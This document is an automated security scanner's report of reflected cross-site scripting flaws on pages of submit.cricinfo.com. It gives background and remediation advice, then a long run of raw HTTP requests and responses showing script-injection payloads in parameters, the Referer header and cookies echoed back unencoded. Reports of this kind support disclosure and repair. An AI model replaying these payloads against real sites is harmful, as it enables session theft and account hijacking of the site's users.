Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the object_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a682"><script>alert(1)</script>a5ecb98fc96 was submitted in the object_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the object_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51d4a"><script>alert(1)</script>ae55648a8a6 was submitted in the object_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb2d5"><script>alert(1)</script>b00739a6776 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ci/content/submit/member_mgmt/user_registration.html?bb2d5"><script>alert(1)</script>b00739a6776=1 HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:14:08 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148320 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:14:08 ...[SNIP]... <input type="hidden" name="referer" value="/ci/content/submit/member_mgmt/user_registration.html?bb2d5"><script>alert(1)</script>b00739a6776=1"> ...[SNIP]...
The value of the object_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 264cf"><script>alert(1)</script>5ffea527bb5 was submitted in the object_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ci/content/submit/member_mgmt/user_registration.html?object_id=485657;sc=Comments;ref=http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad264cf"><script>alert(1)</script>5ffea527bb5 HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:12:39 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148519 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:12:39 ...[SNIP]... ="hidden" name="referer" value="/ci/content/submit/member_mgmt/user_registration.html?object_id=485657;sc=Comments;ref=http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad264cf"><script>alert(1)</script>5ffea527bb5"> ...[SNIP]...
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 5bb4b<script>alert(1)</script>67896ac1a97 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /member_mgmt/content/submit/member_mgmt/login_validate.html?callback=?5bb4b<script>alert(1)</script>67896ac1a97 HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
1.6. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4e3a"><script>alert(1)</script>f099b4e3b36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html?e4e3a"><script>alert(1)</script>f099b4e3b36=1 HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:18:36 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148438 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:18:36 ...[SNIP]... <input type="hidden" name="referer" value="/member_mgmt/content/submit/member_mgmt/user_registration.html?e4e3a"><script>alert(1)</script>f099b4e3b36=1"> ...[SNIP]...
The value of the sc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b6a6"><script>alert(1)</script>dbf3b9311b was submitted in the sc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html?sc=masthead9b6a6"><script>alert(1)</script>dbf3b9311b HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:17:04 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148538 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:17:04 ...[SNIP]... <input type="hidden" name="SourceCategory" value="masthead9b6a6"><script>alert(1)</script>dbf3b9311b"> ...[SNIP]...
The value of the remember request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517ee"><script>alert(1)</script>3bb15ef92c9 was submitted in the remember parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /member_mgmt/content/submit/member_mgmt/user_screenname.html?remember=517ee"><script>alert(1)</script>3bb15ef92c9 HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:16:53 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 11715 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:16:53 ...[SNIP]... <input type="hidden" name="remember" id="WelcomeScrName" value="517ee"><script>alert(1)</script>3bb15ef92c9"> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 296e5"><script>alert(1)</script>e5a735cc086 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a22ce"><script>alert(1)</script>99653f53917 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/comment/usr_login.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us; Referer: http://www.google.com/search?hl=en&q=a22ce"><script>alert(1)</script>99653f53917
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:12:42 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 1324 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f392d"><script>alert(1)</script>00c65ad03a2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us; Referer: http://www.google.com/search?hl=en&q=f392d"><script>alert(1)</script>00c65ad03a2
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:14:52 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148354 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:14:52 ...[SNIP]... <input type="hidden" name="referer" value="http://www.google.com/search?hl=en&q=f392d"><script>alert(1)</script>00c65ad03a2"> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c86d5"><script>alert(1)</script>3da25da6da3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us; Referer: http://www.google.com/search?hl=en&q=c86d5"><script>alert(1)</script>3da25da6da3
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:19:20 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148472 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:19:20 ...[SNIP]... <input type="hidden" name="referer" value="http://www.google.com/search?hl=en&q=c86d5"><script>alert(1)</script>3da25da6da3"> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into an HTML comment. The payload 2f0e1--><script>alert(1)</script>28479a8797f was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa2f0e1--><script>alert(1)</script>28479a8797f; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:12:43 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148494 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa2f0e1--><script>alert(1)</script>28479a8797f, created: 2010-11-07 03:12:43 --> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4754'-alert(1)-'d4807eabfe9 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usaf4754'-alert(1)-'d4807eabfe9; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:12:39 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148414 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usaf4754'-alert(1)-'d4807eabfe9, ...[SNIP]... <script language="JavaScript" src="http://ad.doubleclick.net/adj/espncricinfo_global/global;kvcluster=usaf4754'-alert(1)-'d4807eabfe9;kvpt=index;kvsite=global;kvbrand=member_mgmt;tile=1;sz=728x90;ord=' + ord + '?" type="text/javascript"> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbb23"><script>alert(1)</script>73ebe8053a2 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usabbb23"><script>alert(1)</script>73ebe8053a2; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:12:35 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148489 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usabbb23"><script>alert(1)</scrip ...[SNIP]... <a href="http://ad.vulnerable.ad.partner/jump/espncricinfo_global/global;kvcluster=usabbb23"><script>alert(1)</script>73ebe8053a2;kvpt=index;kvsite=global;kvbrand=member_mgmt;tile=1;sz=728x90;ord=123456789?" target="_blank"> ...[SNIP]...
The value of the Q_cricinfo_country cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96c17'-alert(1)-'4cef5e4a3c8 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us96c17'-alert(1)-'4cef5e4a3c8;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:13:25 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148330 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us96c17'-alert(1)-'4cef5e4a3c8, cluster: usa, ...[SNIP]... <script language="javascript" type="text/javascript"> ord=Math.random()*10000000000000000;
The value of the Q_cricinfo_country cookie is copied into an HTML comment. The payload e70d8--><script>alert(1)</script>9c7a9f58fdc was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=use70d8--><script>alert(1)</script>9c7a9f58fdc;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:13:28 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 148362 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: use70d8--><script>alert(1)</script>9c7a9f58fdc, cluster: usa, created: 2010-11-07 03:13:28 --> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9904d'-alert(1)-'218689b8227 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa9904d'-alert(1)-'218689b8227; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:12:33 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 83531 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa9904d'-alert(1)-'218689b8227, ...[SNIP]... <script language="JavaScript" src="http://ad.doubleclick.net/adj/espncricinfo_global/global;kvcluster=usa9904d'-alert(1)-'218689b8227;kvpt=index;kvsite=global;kvbrand=ci;tile=1;sz=728x90;ord=' + ord + '?" type="text/javascript"> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into an HTML comment. The payload 41993--><script>alert(1)</script>107db245a11 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa41993--><script>alert(1)</script>107db245a11; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:12:36 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 83803 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usa41993--><script>alert(1)</script>107db245a11, created: 2010-11-07 03:12:36 --> ...[SNIP]...
The value of the Q_cricinfo_cluster cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8d00"><script>alert(1)</script>f3bf3b3642a was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usaa8d00"><script>alert(1)</script>f3bf3b3642a; Q_cricinfo_country=us;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 03:12:29 GMT Server: Apache Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Sun, 06 Jan 1985 03:30:00 GMT Content-Length: 83786 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- hostname: submit, country: us, cluster: usaa8d00"><script>alert(1)</scrip ...[SNIP]... <a href="http://ad.vulnerable.ad.partner/jump/espncricinfo_global/global;kvcluster=usaa8d00"><script>alert(1)</script>f3bf3b3642a;kvpt=index;kvsite=global;kvbrand=ci;tile=1;sz=728x90;ord=123456789?" target="_blank"> ...[SNIP]...
The value of the Q_cricinfo_country cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 69125'-alert(1)-'2c7a734ccab was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1 Host: submit.cricinfo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us69125'-alert(1)-'2c7a734ccab;
